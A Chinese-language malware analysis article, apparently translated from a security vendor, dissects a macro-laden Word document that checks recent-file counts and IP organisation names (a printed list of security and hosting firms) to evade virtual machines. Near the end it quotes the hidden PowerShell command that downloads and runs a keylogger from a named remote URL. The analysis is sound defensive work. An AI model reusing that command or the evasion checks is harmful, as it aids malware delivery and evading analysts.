|
xxx.jpg
最近,我分析到一个行为异常的恶意软件样本。由于很难发现该恶意软件的真实行为,所以我花了很多时间去调试分析。然而在分析过程中,又有多种因素会导致运行崩溃和异常。在此,我就发表了对该恶意软件反虚拟机的一些技术。
样本信息
恶意软件样本文件名为“Intelligent Software Solutions Inc.doc“,其SHA256值为:
048fc07fb94a74990d2d2b8e92c099f3f986af185c32d74c857b07f7fcce7f8e
以下是样本文件打开运行时的示例:
anti-vm-tricks-word-view.png
如果这看起来不太可疑,请看其代码视图:
anti-vm-tricks-vb-code.png
2016-09-27_202426.jpg
这是一个经典的教科书式的WORD恶意软件,它没有实质内容,但包括了经过混淆的可执行代码,看上去非常简洁。
分析调查
从代码层面来看,顶部的分支程序像是程序的执行入口,很有可能是当WORD文档被打开后,点击“enable contenet” 执行Active X控件的操作,最终,程序会排错调用IuIxpP子程序。
3333333333333.jpg
技巧:
在子程序 IuIxpP中,分别调用了两个方法DKTxHE 和 qrNjY,并抛出不同的执行错误。
2016-09-27_203150.jpg
其中,DKTxHE 功能为:
2016-09-27_203455.jpg
RecentFiles对象表示系统最近打开过的历史文档。通常,安装了word程序的用户可能会打开超过2个或更多数量的文档。然而,当该恶意软件植入到新创建的虚拟机和word环境中后,总是状况不断,不能正常运行。每次测试时手动打开一两次,总是出现程序异常。即使是保存了虚拟机镜像状态,重启调试分析后,恶意程序仍然不能正常执行。
从DKTxHE函数功能可以看出,恶意软件以RecentFiles数量来判断是否身处VM环境中,如果在VM环境中,它将不会执行任何恶意行为,非常“聪明”。之后,我随意创建了3个不同名称的word文档,逐一打开并关闭,让历史文档数量为3,最终成功运行并检测到了恶意软件。
原因很明了,虚拟机环境一般缺乏多个Word文档,恶意程序通过探测最近打开的历史文档数量,判断是否处于VM环境中,如果在最近打开文档数量内发现只有3个以下的word文档,就会拒绝执行。
技巧:
在另一个子程序 qrNjY中,恶意软件通过探测ip信息来识别VM环境。首先,它通过向远程地址发出某种认证请求,
https://www.maxmind.com/geoip/v2.1/city/me
之后设置请求信息中的HTTP Refer属性和User-Agent值,访问链接:
https://www.maxmind.com/en/locate-my-ip-address
以此获取宿主系统的地址信息,如:
2016-09-27_124440.jpg
获取信息封装于JSON格式文件中,包含国家、城市、或者与IP相关的组织机构等信息。如:
{
"location": {
"latitude": 30.7858,
"longitude": -102.1232,
"metro_code": 705,
"accuracy_radius": 5,
"time_zone": "America/Los_Angeles"
},
"continent": {
"names": {
"ja": "北アメリカ",
"pt-BR": "América do Norte",
"de": "Nordamerika",
"es": "Norteamérica",
"ru": "Северная Америка",
"fr": "Amérique du Nord",
"zh-CN": "北美洲",
"en": "North America"
},
"code": "NA",
"geoname_id": 6255149
},
"city": {
"names": {
"pt-BR": "Oakland",
"de": "Oakland",
"es": "Oakland",
"ja": "オークランド",
"en": "Oakland",
"ru": "Окленд",
"fr": "Oakland",
"zh-CN": "奥克兰"
},
"geoname_id": 5378538
},
"postal": {
"code": "94619"
},
"country": {
"names": {
"ru": "США",
"fr": "états-Unis",
"zh-CN": "美国",
"en": "United States",
"ja": "アメリカ合衆国",
"es": "Estados Unidos",
"pt-BR": "Estados Unidos",
"de": "USA"
},
"iso_code": "US",
"geoname_id": 6252001
},
"traits": {
"organization": "Comcast Cable",
"isp": "Comcast Cable",
"ip_address": "123.123.123.123",
"autonomous_system_organization": "Comcast Cable Communications, LLC",
"domain": "comcast.net",
"autonomous_system_number": 7922
},
"registered_country": {
"geoname_id": 6252001,
"names": {
"zh-CN": "美国",
"ru": "США",
"fr": "états-Unis",
"en": "United States",
"ja": "アメリカ合衆国",
"pt-BR": "Estados Unidos",
"de": "USA",
"es": "Estados Unidos"
},
"iso_code": "US"
},
"subdivisions": [
{
"geoname_id": 5332921,
"names": {
"ru": "Калифорния",
"fr": "Californie",
"zh-CN": "加利福尼亚州",
"en": "California",
"ja": "カリフォルニア州",
"pt-BR": "Califórnia",
"es": "California",
"de": "Kalifornien"
},
"iso_code": "CA"
}
]
}
在以上示例文件中,IP信息的organization字段显示为美国Comcast宽带网络供应商。恶意软件发出访问请求后,获取到宿主系统的相关信息将存储于某个数组中。如果获取到的组织机构名称与以下JSON文件中的任何机构字符串匹配,恶意软件将发生异常并停止运行。
Amazon
anonymous
BitDefender
BlackOakComputers
Blue Coat
BlueCoat
Cisco
cloud
Data Center
DataCenter
DataCentre
dedicated
ESET, Spol
FireEye
ForcePoint
Fortinet
Hetzner
hispeed.ch
hosted
Hosting
Iron Port
IronPort
LeaseWeb
MessageLabs
Microsoft
MimeCast
NForce
Ovh Sas
Palo Alto
ProofPoint
Rackspace
security
Server
Strong Technologies
Trend Micro
TrendMicro
TrustWave
VMVault
Zscaler
当然,上述列表中的机构名称在代码中是经过混淆的:
2016-09-27_214039.jpg
以上信息表明,恶意程序通过检查,是否有网络服务商或杀毒软件公司相关的IP地址运行VM虚拟机对其进行调试分析,如果有,将停止运行。
PAYLOAD
如果恶意程序发现宿主系统有3个或以上的Word最近打开文档,将会执行远程下载解盘记录程序的PowerShell脚本:
powershell.exe -ExecutionPolicy Bypass -windowstyle Hidden -command $f=[System.IO.Path]::GetTempFileName();(New-Object System.Net.WebClient).DownloadFile('http://silkflowersdecordesign.com/admin/worddata.dat', $f);(New-Object -com WScript.Shell).Exec($f)
http://silkflowersdecordesign.com/admin/worddata.dat中涉及的worddata.dat是一个轻量级的键盘记录程序,SHA256为19d884d3b688abf8e284d3bc6a06817096d15592bcd73f85a0e4b79749f2a744。
2016-09-27_215157.jpg
其它
Researchers at Proofpoint 和Deepen Desai at zscaler两篇文章都对 anti-vm和anti-sandbox做了深入讨论,这些技术涉及到了不同种类的恶意软件,它们或许代表了VBA恶意软件的一种发展趋势。
当然,看雪论坛的一篇经典文章《虚拟机检测技术剖析》,也是非常值得学习的。
样本代码和文件分析:VirusTotal
*参考来源:Sentinelone, *FB小编clouds编译,转载请注明来自FreeBuf(FreeBuf.COM) |
|